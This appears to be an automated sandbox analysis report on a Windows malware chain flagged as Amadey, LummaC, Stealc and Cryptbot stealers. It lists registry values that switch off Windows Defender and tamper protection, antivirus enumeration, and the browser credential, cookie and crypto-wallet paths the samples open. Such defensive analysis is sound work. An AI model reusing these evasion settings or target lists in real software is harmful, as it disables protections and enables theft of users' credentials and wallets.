Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007501001\c9583b77b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007502001\f72eb1bfa4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007502001\f72eb1bfa4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007503001\65c2c3d4c3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007503001\65c2c3d4c3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Disable Windows Defender notifications (registry)

Lowering of HIPS / PFW / Operating System Security Settings

Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 074873f122.exe, 00000008.00000003.2755319528.0000000001A89000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000003.2646200055.0000000001A89000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000002.2859091060.0000000001A89000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.1725431079.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1767721073.0000000000D01000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1727096643.00000000054D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2331510812.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1696224800.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1736883907.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1765764541.0000000000D01000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: ad0f88d42c.exe PID: 5040, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 074873f122.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000003.2546846657.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2727804477.0000000005450000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7afc94686a.exe PID: 4124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7afc94686a.exe PID: 6932, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 074873f122.exe, 00000008.00000003.2755595870.0000000001A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 074873f122.exe, 00000008.00000003.2755595870.0000000001A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 074873f122.exe, 00000008.00000003.2754766299.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: 074873f122.exe, 00000008.00000003.2755595870.0000000001A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 074873f122.exe, 00000008.00000003.2579274900.0000000001A94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: 074873f122.exe, 00000008.00000003.2755595870.0000000001A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 074873f122.exe, 00000008.00000003.2551525929.0000000001A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 074873f122.exe, 00000008.00000003.2551525929.0000000001A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
